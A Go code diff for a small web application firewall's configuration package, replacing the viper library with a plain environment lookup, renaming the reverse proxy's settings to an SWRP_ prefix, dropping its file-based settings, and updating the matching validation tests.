@@ -16,9 +17,6 @@ import (
|
|||||||
"os"
|
"os"
|
||||||
"strconv"
|
"strconv"
|
||||||
"strings"
|
"strings"
|
||||||
"time"
|
|
||||||
|
|
||||||
"github.com/spf13/viper"
|
|
||||||
)
|
)
|
||||||
|
|
||||||
// off is the value that switches a timeout, a size limit or a rate limit
|
// off is the value that switches a timeout, a size limit or a rate limit
|
||||||
@@ -29,8 +27,8 @@ const (
|
|||||||
kibibyte = 1 << 10
|
kibibyte = 1 << 10
|
||||||
mebibyte = 1 << 20
|
mebibyte = 1 << 20
|
||||||
gibibyte = 1 << 30
|
gibibyte = 1 << 30
|
||||||
// defaultListenAddr is the default of SWW_WAF_LISTEN_ADDR and
|
// defaultListenAddr is the default of SWW_LISTEN_ADDR and
|
||||||
// SWW_RPROXY_LISTEN_ADDR.
|
// SWRP_LISTEN_ADDR.
|
||||||
defaultListenAddr = ":8080"
|
defaultListenAddr = ":8080"
|
||||||
)
|
)
|
||||||
|
|
||||||
@@ -38,8 +36,6 @@ var (
|
|||||||
errNotSize = errors.New(
|
errNotSize = errors.New(
|
||||||
"is not a size such as 512K, 100M or 5G, or off")
|
"is not a size such as 512K, 100M or 5G, or off")
|
||||||
errNotPositive = errors.New("must be more than zero, or off")
|
errNotPositive = errors.New("must be more than zero, or off")
|
||||||
errNotMilliseconds = errors.New(
|
|
||||||
"is not a whole number of milliseconds above zero, such as 2000")
|
|
||||||
errEmptyItem = errors.New("has an empty item in its list")
|
errEmptyItem = errors.New("has an empty item in its list")
|
||||||
errNotNetblock = errors.New(
|
errNotNetblock = errors.New(
|
||||||
"is not a netblock such as 10.0.0.0/8, or an address")
|
"is not a netblock such as 10.0.0.0/8, or an address")
|
||||||
@@ -52,8 +48,8 @@ var (
|
|||||||
// Command reads only SWW_COMMAND, the command the image runs and its
|
// Command reads only SWW_COMMAND, the command the image runs and its
|
||||||
// health check checks: rproxy when it is unset or empty, or waf. It cannot
|
// health check checks: rproxy when it is unset or empty, or waf. It cannot
|
||||||
// be given as a file. Any other value is an error that names the setting.
|
// be given as a file. Any other value is an error that names the setting.
|
||||||
func Command(v *viper.Viper) (string, error) {
|
func Command(lookupEnv func(string) (string, bool)) (string, error) {
|
||||||
command, _ := readSetting(v, "SWW_COMMAND")
|
command, _ := lookupEnv("SWW_COMMAND")
|
||||||
|
|
||||||
switch command {
|
switch command {
|
||||||
case "", "rproxy":
|
case "", "rproxy":
|
||||||
@@ -65,26 +61,14 @@ func Command(v *viper.Viper) (string, error) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// environment is where WAFFromEnvironment and RProxyFromEnvironment read the
|
// environment is where FromEnvironment reads the settings: it notes each
|
||||||
// settings: it notes each value for the log, and keeps the first error. It
|
// value for the log, and keeps the first error.
|
||||||
// reads every setting through v, the viper NewViper returns, and honours
|
|
||||||
// each setting's _FILE form too.
|
|
||||||
type environment struct {
|
type environment struct {
|
||||||
v *viper.Viper
|
lookupEnv func(string) (string, bool)
|
||||||
settings []slog.Attr
|
settings []slog.Attr
|
||||||
err error
|
err error
|
||||||
}
|
}
|
||||||
|
|
||||||
// readSetting returns a setting's value and whether it is set, reading it
|
|
||||||
// through v.
|
|
||||||
func readSetting(v *viper.Viper, name string) (string, bool) {
|
|
||||||
if !v.IsSet(name) {
|
|
||||||
return "", false
|
|
||||||
}
|
|
||||||
|
|
||||||
return v.GetString(name), true
|
|
||||||
}
|
|
||||||
|
|
||||||
// value returns a setting's value, or its default when it is not set,
|
// value returns a setting's value, or its default when it is not set,
|
||||||
// and notes it for the log.
|
// and notes it for the log.
|
||||||
func (e *environment) value(name, defaultValue string) string {
|
func (e *environment) value(name, defaultValue string) string {
|
||||||
@@ -103,10 +87,10 @@ func (e *environment) value(name, defaultValue string) string {
|
|||||||
// names, less one newline at their end. It notes that file's path for the
|
// names, less one newline at their end. It notes that file's path for the
|
||||||
// log. Both variables set, or a file that cannot be read, is an error.
|
// log. Both variables set, or a file that cannot be read, is an error.
|
||||||
func (e *environment) lookup(name string) (string, bool) {
|
func (e *environment) lookup(name string) (string, bool) {
|
||||||
value, set := readSetting(e.v, name)
|
value, set := e.lookupEnv(name)
|
||||||
fileName := name + "_FILE"
|
fileName := name + "_FILE"
|
||||||
|
|
||||||
path, inFile := readSetting(e.v, fileName)
|
path, inFile := e.lookupEnv(fileName)
|
||||||
if !inFile {
|
if !inFile {
|
||||||
return value, set
|
return value, set
|
||||||
}
|
}
|
||||||
@@ -165,19 +149,6 @@ func (e *environment) size(name, defaultValue string) int64 {
|
|||||||
return size
|
return size
|
||||||
}
|
}
|
||||||
|
|
||||||
// milliseconds reads a setting that is a whole number of milliseconds above
|
|
||||||
// zero.
|
|
||||||
func (e *environment) milliseconds(name, defaultValue string) time.Duration {
|
|
||||||
value := e.value(name, defaultValue)
|
|
||||||
|
|
||||||
duration, valid := parseMilliseconds(value)
|
|
||||||
if !valid {
|
|
||||||
e.check(name, fmt.Errorf("%q %w", value, errNotMilliseconds))
|
|
||||||
}
|
|
||||||
|
|
||||||
return duration
|
|
||||||
}
|
|
||||||
|
|
||||||
// parseSize reads a number of bytes with an optional K, M or G suffix, in
|
// parseSize reads a number of bytes with an optional K, M or G suffix, in
|
||||||
// powers of 1024 (1K is 1024 bytes), or off.
|
// powers of 1024 (1K is 1024 bytes), or off.
|
||||||
func parseSize(value string) (int64, error) {
|
func parseSize(value string) (int64, error) {
|
||||||
@@ -214,17 +185,6 @@ func splitUnit(value string) (string, int64) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// parseMilliseconds reads a whole number of milliseconds above zero, and
|
|
||||||
// reports whether it is one.
|
|
||||||
func parseMilliseconds(value string) (time.Duration, bool) {
|
|
||||||
n, err := strconv.ParseInt(value, 10, 64)
|
|
||||||
if err != nil || n <= 0 || n > math.MaxInt64/int64(time.Millisecond) {
|
|
||||||
return 0, false
|
|
||||||
}
|
|
||||||
|
|
||||||
return time.Duration(n) * time.Millisecond, true
|
|
||||||
}
|
|
||||||
|
|
||||||
// parseList splits a comma-separated list and trims the spaces around
|
// parseList splits a comma-separated list and trims the spaces around
|
||||||
// each item. An empty value is an empty list.
|
// each item. An empty value is an empty list.
|
||||||
func parseList(value string) ([]string, error) {
|
func parseList(value string) ([]string, error) {
|
||||||
|
|||||||
@@ -1,16 +0,0 @@
|
|||||||
// Package configtest gives the tests of the packages that read settings the
|
|
||||||
// settings they choose.
|
|
||||||
package configtest
|
|
||||||
|
|
||||||
import "github.com/spf13/viper"
|
|
||||||
|
|
||||||
// Viper returns a viper holding each of settings, as the viper config.NewViper
|
|
||||||
// returns holds a process's environment.
|
|
||||||
func Viper(settings map[string]string) *viper.Viper {
|
|
||||||
v := viper.New()
|
|
||||||
for name, value := range settings {
|
|
||||||
v.Set(name, value)
|
|
||||||
}
|
|
||||||
|
|
||||||
return v
|
|
||||||
}
|
|
||||||
+84
-48
@@ -4,44 +4,42 @@ import (
|
|||||||
"errors"
|
"errors"
|
||||||
"fmt"
|
"fmt"
|
||||||
"log/slog"
|
"log/slog"
|
||||||
|
"math"
|
||||||
"net/netip"
|
"net/netip"
|
||||||
"net/url"
|
"net/url"
|
||||||
"strconv"
|
"strconv"
|
||||||
|
"strings"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
"github.com/spf13/viper"
|
|
||||||
)
|
)
|
||||||
|
|
||||||
// RProxy is the settings of `sww rproxy`. A size or time limit of zero
|
// RProxy is the settings of `sww rproxy`. A size or time limit of zero
|
||||||
// is off.
|
// is off.
|
||||||
type RProxy struct {
|
type RProxy struct {
|
||||||
// ListenAddr is where rproxy listens (SWW_RPROXY_LISTEN_ADDR).
|
// ListenAddr is where rproxy listens (SWRP_LISTEN_ADDR).
|
||||||
ListenAddr string
|
ListenAddr string
|
||||||
// UpstreamURL is the app (SWW_RPROXY_UPSTREAM_URL).
|
// UpstreamURL is the app (SWRP_UPSTREAM_URL).
|
||||||
UpstreamURL *url.URL
|
UpstreamURL *url.URL
|
||||||
// TrustedProxies are the netblocks whose X-Forwarded-For is believed
|
// TrustedProxies are the netblocks whose X-Forwarded-For is believed
|
||||||
// (SWW_RPROXY_TRUSTED_PROXIES).
|
// (SWRP_TRUSTED_PROXIES).
|
||||||
TrustedProxies []netip.Prefix
|
TrustedProxies []netip.Prefix
|
||||||
// WAFBackend is waf's URL (SWW_RPROXY_WAF_BACKEND).
|
// WAFBackend is waf's URL (SWRP_WAF_BACKEND).
|
||||||
WAFBackend *url.URL
|
WAFBackend *url.URL
|
||||||
// WAFBackendTimeout is how long rproxy waits for waf's answer to a
|
// Timeout is how long rproxy waits for waf's answer to a question,
|
||||||
// question, and to a report (SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS). It
|
// and to a report (SWRP_TIMEOUT_MS). It cannot be off.
|
||||||
// cannot be off.
|
Timeout time.Duration
|
||||||
WAFBackendTimeout time.Duration
|
// DefaultDisposition is what is done with a request when waf cannot be
|
||||||
// WAFBackendNoAnswerDisposition is what is done with a request when waf
|
// connected to, does not answer at all, or does not answer within Timeout:
|
||||||
// cannot be connected to, does not answer at all, or does not answer
|
// allow or deny (SWRP_DEFAULT_DISPOSITION).
|
||||||
// within WAFBackendTimeout: allow or deny
|
DefaultDisposition string
|
||||||
// (SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION).
|
// MaxRequestSize is the largest request body (SWRP_MAX_REQUEST_SIZE), and
|
||||||
WAFBackendNoAnswerDisposition string
|
// MaxResponseSize the largest response body (SWRP_MAX_RESPONSE_SIZE).
|
||||||
// MaxRequestSize is the largest request body (SWW_RPROXY_MAX_REQUEST_SIZE), and
|
|
||||||
// MaxResponseSize the largest response body (SWW_RPROXY_MAX_RESPONSE_SIZE).
|
|
||||||
MaxRequestSize int64
|
MaxRequestSize int64
|
||||||
MaxResponseSize int64
|
MaxResponseSize int64
|
||||||
// MaxRequestTime bounds sending the whole request: the visitor's request
|
// MaxRequestTime bounds sending the whole request: the visitor's request
|
||||||
// line and headers, and then, from their end, its body on its way to the
|
// line and headers, and then, from their end, its body on its way to the
|
||||||
// app (SWW_RPROXY_MAX_REQUEST_TIME_MS). MaxResponseTime bounds the answer, from
|
// app (SWRP_MAX_REQUEST_TIME_MS). MaxResponseTime bounds the answer, from
|
||||||
// the end of the request to its last byte reaching the visitor
|
// the end of the request to its last byte reaching the visitor
|
||||||
// (SWW_RPROXY_MAX_RESPONSE_TIME_MS).
|
// (SWRP_MAX_RESPONSE_TIME_MS).
|
||||||
MaxRequestTime time.Duration
|
MaxRequestTime time.Duration
|
||||||
MaxResponseTime time.Duration
|
MaxResponseTime time.Duration
|
||||||
|
|
||||||
@@ -50,7 +48,7 @@ type RProxy struct {
|
|||||||
settings []slog.Attr
|
settings []slog.Attr
|
||||||
}
|
}
|
||||||
|
|
||||||
// defaultUpstreamURL is the default of SWW_RPROXY_UPSTREAM_URL.
|
// defaultUpstreamURL is the default of SWRP_UPSTREAM_URL.
|
||||||
const defaultUpstreamURL = "http://127.0.0.1:8081"
|
const defaultUpstreamURL = "http://127.0.0.1:8081"
|
||||||
|
|
||||||
// privateRanges are the private address ranges, the default trusted
|
// privateRanges are the private address ranges, the default trusted
|
||||||
@@ -64,46 +62,46 @@ var (
|
|||||||
errNeedsWAFBackend = errors.New(
|
errNeedsWAFBackend = errors.New(
|
||||||
"is required: it is waf's URL, such as http://waf:8080")
|
"is required: it is waf's URL, such as http://waf:8080")
|
||||||
errNotDisposition = errors.New("is not allow or deny")
|
errNotDisposition = errors.New("is not allow or deny")
|
||||||
|
errNotMilliseconds = errors.New(
|
||||||
|
"is not a whole number of milliseconds above zero, such as 2000")
|
||||||
errNotMillisecondsOrOff = errors.New(
|
errNotMillisecondsOrOff = errors.New(
|
||||||
"is not a whole number of milliseconds above zero, such as 60000, or off",
|
"is not a whole number of milliseconds above zero, such as 60000, or off",
|
||||||
)
|
)
|
||||||
)
|
)
|
||||||
|
|
||||||
// RProxyFromEnvironment reads rproxy's settings through v, normally the viper
|
// RProxyFromEnvironment reads rproxy's settings with lookupEnv, normally
|
||||||
// NewViper returns, bound to the process's environment. A setting that is not
|
// os.LookupEnv. A setting that is not set takes its default, and
|
||||||
// set takes its default, and SWW_RPROXY_WAF_BACKEND, which has none, must be
|
// SWRP_WAF_BACKEND, which has none, must be set. A setting that is set but
|
||||||
// set. A setting may instead be given as a file: the variable named by the
|
// invalid is an error that names it. Since rproxy never touches disk, its
|
||||||
// setting's name with _FILE added names the file, which is read now. A setting
|
// settings have no _FILE form.
|
||||||
// that is set but invalid is an error that names it.
|
func RProxyFromEnvironment(
|
||||||
func RProxyFromEnvironment(v *viper.Viper) (*RProxy, error) {
|
lookupEnv func(string) (string, bool),
|
||||||
env := &environment{v: v}
|
) (*RProxy, error) {
|
||||||
|
env := &environment{lookupEnv: withoutFileForms(lookupEnv)}
|
||||||
cfg := &RProxy{
|
cfg := &RProxy{
|
||||||
ListenAddr: env.address("SWW_RPROXY_LISTEN_ADDR"),
|
ListenAddr: env.address("SWRP_LISTEN_ADDR"),
|
||||||
UpstreamURL: env.appURL(
|
UpstreamURL: env.appURL(
|
||||||
"SWW_RPROXY_UPSTREAM_URL",
|
"SWRP_UPSTREAM_URL",
|
||||||
defaultUpstreamURL,
|
defaultUpstreamURL,
|
||||||
),
|
),
|
||||||
TrustedProxies: env.netblocks(
|
TrustedProxies: env.netblocks(
|
||||||
"SWW_RPROXY_TRUSTED_PROXIES",
|
"SWRP_TRUSTED_PROXIES",
|
||||||
privateRanges,
|
privateRanges,
|
||||||
),
|
),
|
||||||
WAFBackend: env.wafBackend("SWW_RPROXY_WAF_BACKEND"),
|
WAFBackend: env.wafBackend("SWRP_WAF_BACKEND"),
|
||||||
WAFBackendTimeout: env.milliseconds(
|
Timeout: env.milliseconds("SWRP_TIMEOUT_MS", "2000"),
|
||||||
"SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS",
|
DefaultDisposition: env.disposition(
|
||||||
"2000",
|
"SWRP_DEFAULT_DISPOSITION",
|
||||||
),
|
|
||||||
WAFBackendNoAnswerDisposition: env.disposition(
|
|
||||||
"SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION",
|
|
||||||
"allow",
|
"allow",
|
||||||
),
|
),
|
||||||
MaxRequestSize: env.size("SWW_RPROXY_MAX_REQUEST_SIZE", "100M"),
|
MaxRequestSize: env.size("SWRP_MAX_REQUEST_SIZE", "100M"),
|
||||||
MaxResponseSize: env.size("SWW_RPROXY_MAX_RESPONSE_SIZE", "1G"),
|
MaxResponseSize: env.size("SWRP_MAX_RESPONSE_SIZE", "1G"),
|
||||||
MaxRequestTime: env.millisecondsOrOff(
|
MaxRequestTime: env.millisecondsOrOff(
|
||||||
"SWW_RPROXY_MAX_REQUEST_TIME_MS",
|
"SWRP_MAX_REQUEST_TIME_MS",
|
||||||
"60000",
|
"60000",
|
||||||
),
|
),
|
||||||
MaxResponseTime: env.millisecondsOrOff(
|
MaxResponseTime: env.millisecondsOrOff(
|
||||||
"SWW_RPROXY_MAX_RESPONSE_TIME_MS",
|
"SWRP_MAX_RESPONSE_TIME_MS",
|
||||||
"1800000",
|
"1800000",
|
||||||
),
|
),
|
||||||
}
|
}
|
||||||
@@ -117,15 +115,15 @@ func RProxyFromEnvironment(v *viper.Viper) (*RProxy, error) {
|
|||||||
return cfg, nil
|
return cfg, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
// RProxyListenAddrAndUpstreamURL reads only SWW_RPROXY_LISTEN_ADDR and
|
// RProxyListenAddrAndUpstreamURL reads only SWRP_LISTEN_ADDR and
|
||||||
// SWW_RPROXY_UPSTREAM_URL. The health check in rproxy's container needs no other
|
// SWRP_UPSTREAM_URL. The health check in rproxy's container needs no other
|
||||||
// setting, so it reads no other.
|
// setting, so it reads no other.
|
||||||
func RProxyListenAddrAndUpstreamURL(
|
func RProxyListenAddrAndUpstreamURL(
|
||||||
v *viper.Viper,
|
lookupEnv func(string) (string, bool),
|
||||||
) (string, *url.URL, error) {
|
) (string, *url.URL, error) {
|
||||||
env := &environment{v: v}
|
env := &environment{lookupEnv: withoutFileForms(lookupEnv)}
|
||||||
listenAddr := env.address("SWW_RPROXY_LISTEN_ADDR")
|
listenAddr := env.address("SWRP_LISTEN_ADDR")
|
||||||
upstreamURL := env.appURL("SWW_RPROXY_UPSTREAM_URL", defaultUpstreamURL)
|
upstreamURL := env.appURL("SWRP_UPSTREAM_URL", defaultUpstreamURL)
|
||||||
|
|
||||||
if env.err != nil {
|
if env.err != nil {
|
||||||
return "", nil, env.err
|
return "", nil, env.err
|
||||||
@@ -134,6 +132,20 @@ func RProxyListenAddrAndUpstreamURL(
|
|||||||
return listenAddr, upstreamURL, nil
|
return listenAddr, upstreamURL, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// withoutFileForms returns lookupEnv finding no setting named with _FILE, since
|
||||||
|
// rproxy never touches disk.
|
||||||
|
func withoutFileForms(
|
||||||
|
lookupEnv func(string) (string, bool),
|
||||||
|
) func(string) (string, bool) {
|
||||||
|
return func(name string) (string, bool) {
|
||||||
|
if strings.HasSuffix(name, "_FILE") {
|
||||||
|
return "", false
|
||||||
|
}
|
||||||
|
|
||||||
|
return lookupEnv(name)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
// LogValue makes an RProxy log as each setting's name with the value it was
|
// LogValue makes an RProxy log as each setting's name with the value it was
|
||||||
// given, or its default.
|
// given, or its default.
|
||||||
func (c *RProxy) LogValue() slog.Value {
|
func (c *RProxy) LogValue() slog.Value {
|
||||||
@@ -175,6 +187,19 @@ func (e *environment) disposition(name, defaultValue string) string {
|
|||||||
return value
|
return value
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// milliseconds reads a setting that is a whole number of milliseconds above
|
||||||
|
// zero.
|
||||||
|
func (e *environment) milliseconds(name, defaultValue string) time.Duration {
|
||||||
|
value := e.value(name, defaultValue)
|
||||||
|
|
||||||
|
duration, valid := parseMilliseconds(value)
|
||||||
|
if !valid {
|
||||||
|
e.check(name, fmt.Errorf("%q %w", value, errNotMilliseconds))
|
||||||
|
}
|
||||||
|
|
||||||
|
return duration
|
||||||
|
}
|
||||||
|
|
||||||
// millisecondsOrOff reads a setting that is a whole number of milliseconds
|
// millisecondsOrOff reads a setting that is a whole number of milliseconds
|
||||||
// above zero, or off, which is 0.
|
// above zero, or off, which is 0.
|
||||||
func (e *environment) millisecondsOrOff(
|
func (e *environment) millisecondsOrOff(
|
||||||
@@ -193,6 +218,17 @@ func (e *environment) millisecondsOrOff(
|
|||||||
return duration
|
return duration
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// parseMilliseconds reads a whole number of milliseconds above zero, and
|
||||||
|
// reports whether it is one.
|
||||||
|
func parseMilliseconds(value string) (time.Duration, bool) {
|
||||||
|
n, err := strconv.ParseInt(value, 10, 64)
|
||||||
|
if err != nil || n <= 0 || n > math.MaxInt64/int64(time.Millisecond) {
|
||||||
|
return 0, false
|
||||||
|
}
|
||||||
|
|
||||||
|
return time.Duration(n) * time.Millisecond, true
|
||||||
|
}
|
||||||
|
|
||||||
// parseUpstreamURL reads the app's URL: http or https, a host and an
|
// parseUpstreamURL reads the app's URL: http or https, a host and an
|
||||||
// optional port from 1 to 65535, and nothing else, since the request's
|
// optional port from 1 to 65535, and nothing else, since the request's
|
||||||
// own path and query go to the app unchanged.
|
// own path and query go to the app unchanged.
|
||||||
|
|||||||
@@ -10,30 +10,33 @@ import (
|
|||||||
"time"
|
"time"
|
||||||
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/config"
|
"sneak.berlin/go/smallwebwaf/internal/config"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/config/configtest"
|
|
||||||
)
|
)
|
||||||
|
|
||||||
// rproxy's settings, by name, and their values in these tests.
|
// rproxy's settings, by name, and their values in these tests.
|
||||||
const (
|
const (
|
||||||
wafBackend = "SWW_RPROXY_WAF_BACKEND"
|
wafBackend = "SWRP_WAF_BACKEND"
|
||||||
wafBackendTimeout = "SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS"
|
rproxyTimeout = "SWRP_TIMEOUT_MS"
|
||||||
rproxyNoAnswer = "SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION"
|
rproxyDefault = "SWRP_DEFAULT_DISPOSITION"
|
||||||
rproxyListen = "SWW_RPROXY_LISTEN_ADDR"
|
rproxyListen = "SWRP_LISTEN_ADDR"
|
||||||
rproxyUpstream = "SWW_RPROXY_UPSTREAM_URL"
|
rproxyUpstream = "SWRP_UPSTREAM_URL"
|
||||||
rproxyTrusted = "SWW_RPROXY_TRUSTED_PROXIES"
|
rproxyTrusted = "SWRP_TRUSTED_PROXIES"
|
||||||
rproxyMaxRequest = "SWW_RPROXY_MAX_REQUEST_SIZE"
|
rproxyMaxRequest = "SWRP_MAX_REQUEST_SIZE"
|
||||||
rproxyMaxResponse = "SWW_RPROXY_MAX_RESPONSE_SIZE"
|
rproxyMaxResponse = "SWRP_MAX_RESPONSE_SIZE"
|
||||||
rproxyRequestTime = "SWW_RPROXY_MAX_REQUEST_TIME_MS"
|
rproxyRequestTime = "SWRP_MAX_REQUEST_TIME_MS"
|
||||||
rproxyAnswerTime = "SWW_RPROXY_MAX_RESPONSE_TIME_MS"
|
rproxyAnswerTime = "SWRP_MAX_RESPONSE_TIME_MS"
|
||||||
backendURL = "http://waf:8080"
|
backendURL = "http://waf:8080"
|
||||||
rproxyNoAnswerAddr = ":8080"
|
rproxyDefaultAddr = ":8080"
|
||||||
rproxyNoAnswerApp = "http://127.0.0.1:8081"
|
rproxyDefaultApp = "http://127.0.0.1:8081"
|
||||||
notASize = "a lot"
|
notASize = "a lot"
|
||||||
)
|
)
|
||||||
|
|
||||||
// rproxyConfig reads rproxy's settings from env.
|
// rproxyConfig reads rproxy's settings from env.
|
||||||
func rproxyConfig(env map[string]string) (*config.RProxy, error) {
|
func rproxyConfig(env map[string]string) (*config.RProxy, error) {
|
||||||
return config.RProxyFromEnvironment(configtest.Viper(env))
|
return config.RProxyFromEnvironment(func(name string) (string, bool) {
|
||||||
|
value, ok := env[name]
|
||||||
|
|
||||||
|
return value, ok
|
||||||
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestRProxyDefaults(t *testing.T) {
|
func TestRProxyDefaults(t *testing.T) {
|
||||||
@@ -44,8 +47,8 @@ func TestRProxyDefaults(t *testing.T) {
|
|||||||
t.Fatalf("settings: %v", err)
|
t.Fatalf("settings: %v", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
if cfg.ListenAddr != rproxyNoAnswerAddr ||
|
if cfg.ListenAddr != rproxyDefaultAddr ||
|
||||||
cfg.UpstreamURL.String() != rproxyNoAnswerApp ||
|
cfg.UpstreamURL.String() != rproxyDefaultApp ||
|
||||||
cfg.WAFBackend.String() != backendURL {
|
cfg.WAFBackend.String() != backendURL {
|
||||||
t.Errorf(
|
t.Errorf(
|
||||||
"addresses %q, %v, %v",
|
"addresses %q, %v, %v",
|
||||||
@@ -55,12 +58,11 @@ func TestRProxyDefaults(t *testing.T) {
|
|||||||
)
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
if cfg.WAFBackendTimeout != 2*time.Second ||
|
if cfg.Timeout != 2*time.Second || cfg.DefaultDisposition != "allow" {
|
||||||
cfg.WAFBackendNoAnswerDisposition != "allow" {
|
|
||||||
t.Errorf(
|
t.Errorf(
|
||||||
"waf backend timeout %v, no-answer disposition %q",
|
"timeout %v, default disposition %q",
|
||||||
cfg.WAFBackendTimeout,
|
cfg.Timeout,
|
||||||
cfg.WAFBackendNoAnswerDisposition,
|
cfg.DefaultDisposition,
|
||||||
)
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -91,8 +93,8 @@ func TestRProxySettingsAreRead(t *testing.T) {
|
|||||||
rproxyListen: ":9000",
|
rproxyListen: ":9000",
|
||||||
rproxyUpstream: "http://app:3000",
|
rproxyUpstream: "http://app:3000",
|
||||||
rproxyTrusted: "192.0.2.0/24",
|
rproxyTrusted: "192.0.2.0/24",
|
||||||
wafBackendTimeout: "150",
|
rproxyTimeout: "150",
|
||||||
rproxyNoAnswer: "deny",
|
rproxyDefault: "deny",
|
||||||
rproxyMaxRequest: "1K",
|
rproxyMaxRequest: "1K",
|
||||||
rproxyMaxResponse: off,
|
rproxyMaxResponse: off,
|
||||||
rproxyRequestTime: off,
|
rproxyRequestTime: off,
|
||||||
@@ -108,8 +110,8 @@ func TestRProxySettingsAreRead(t *testing.T) {
|
|||||||
t.Errorf("addresses %+v", cfg)
|
t.Errorf("addresses %+v", cfg)
|
||||||
}
|
}
|
||||||
|
|
||||||
if cfg.WAFBackendTimeout != 150*time.Millisecond ||
|
if cfg.Timeout != 150*time.Millisecond ||
|
||||||
cfg.WAFBackendNoAnswerDisposition != "deny" ||
|
cfg.DefaultDisposition != "deny" ||
|
||||||
cfg.MaxRequestSize != 1024 ||
|
cfg.MaxRequestSize != 1024 ||
|
||||||
cfg.MaxResponseSize != 0 ||
|
cfg.MaxResponseSize != 0 ||
|
||||||
cfg.MaxRequestTime != 0 ||
|
cfg.MaxRequestTime != 0 ||
|
||||||
@@ -127,13 +129,13 @@ func TestRProxyInvalidSettingsAreRefused(t *testing.T) {
|
|||||||
{wafBackend, ""},
|
{wafBackend, ""},
|
||||||
{wafBackend, "waf:8080"},
|
{wafBackend, "waf:8080"},
|
||||||
{wafBackend, "http://waf:8080/path"},
|
{wafBackend, "http://waf:8080/path"},
|
||||||
{wafBackendTimeout, "0"},
|
{rproxyTimeout, "0"},
|
||||||
{wafBackendTimeout, "-1"},
|
{rproxyTimeout, "-1"},
|
||||||
{wafBackendTimeout, off},
|
{rproxyTimeout, off},
|
||||||
{wafBackendTimeout, "2s"},
|
{rproxyTimeout, "2s"},
|
||||||
{wafBackendTimeout, "1.25"},
|
{rproxyTimeout, "1.25"},
|
||||||
{wafBackendTimeout, "99999999999999999"},
|
{rproxyTimeout, "99999999999999999"},
|
||||||
{rproxyNoAnswer, "maybe"},
|
{rproxyDefault, "maybe"},
|
||||||
{rproxyListen, "8080"},
|
{rproxyListen, "8080"},
|
||||||
{rproxyUpstream, "app"},
|
{rproxyUpstream, "app"},
|
||||||
{rproxyUpstream, "127.0.0.1:8081"},
|
{rproxyUpstream, "127.0.0.1:8081"},
|
||||||
@@ -193,41 +195,32 @@ func TestRProxyNeedsItsBackend(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestRProxySettingReadFromFile(t *testing.T) {
|
func TestRProxyReadsNoFile(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
path := filepath.Join(t.TempDir(), "backend")
|
path := filepath.Join(t.TempDir(), "backend")
|
||||||
|
|
||||||
err := os.WriteFile(path, []byte(backendURL+"\n"), 0o600)
|
err := os.WriteFile(path, []byte("http://from-a-file:8080\n"), 0o600)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
t.Fatalf("write: %v", err)
|
t.Fatalf("write: %v", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
cfg, err := rproxyConfig(map[string]string{wafBackend + "_FILE": path})
|
_, err = rproxyConfig(map[string]string{wafBackend + "_FILE": path})
|
||||||
if err != nil {
|
if err == nil ||
|
||||||
t.Fatalf("settings: %v", err)
|
!strings.HasPrefix(err.Error(), wafBackend+": is required") {
|
||||||
|
t.Errorf("error %v, want %s still required", err, wafBackend)
|
||||||
}
|
}
|
||||||
|
|
||||||
if cfg.WAFBackend.String() != backendURL {
|
cfg, err := rproxyConfig(map[string]string{
|
||||||
t.Errorf("backend %v, want %s", cfg.WAFBackend, backendURL)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestRProxyUnreadableSettingFileStopsTheStart(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
dir := t.TempDir()
|
|
||||||
|
|
||||||
for _, path := range []string{filepath.Join(dir, "missing"), dir} {
|
|
||||||
_, err := rproxyConfig(map[string]string{
|
|
||||||
wafBackend: backendURL,
|
wafBackend: backendURL,
|
||||||
wafBackendTimeout + "_FILE": path,
|
rproxyTimeout + "_FILE": "/nonexistent/timeout",
|
||||||
})
|
})
|
||||||
|
if err != nil {
|
||||||
want := wafBackendTimeout + "_FILE: cannot be read: "
|
t.Fatalf("settings: %v, with the file left unread", err)
|
||||||
if err == nil || !strings.HasPrefix(err.Error(), want) {
|
|
||||||
t.Errorf("%s: error %v, want one starting %s", path, err, want)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if cfg.Timeout != 2*time.Second {
|
||||||
|
t.Errorf("timeout %v, want the default", cfg.Timeout)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -247,8 +240,7 @@ func TestRProxySettingsAreLoggedByName(t *testing.T) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
for _, name := range []string{
|
for _, name := range []string{
|
||||||
rproxyListen, rproxyUpstream, rproxyTrusted, wafBackend, wafBackendTimeout,
|
rproxyListen, rproxyUpstream, rproxyTrusted, wafBackend, rproxyTimeout, rproxyDefault,
|
||||||
rproxyNoAnswer,
|
|
||||||
rproxyMaxRequest, rproxyMaxResponse, rproxyRequestTime, rproxyAnswerTime,
|
rproxyMaxRequest, rproxyMaxResponse, rproxyRequestTime, rproxyAnswerTime,
|
||||||
} {
|
} {
|
||||||
if !slices.Contains(names, name) {
|
if !slices.Contains(names, name) {
|
||||||
|
|||||||
@@ -1,16 +0,0 @@
|
|||||||
package config
|
|
||||||
|
|
||||||
import "github.com/spf13/viper"
|
|
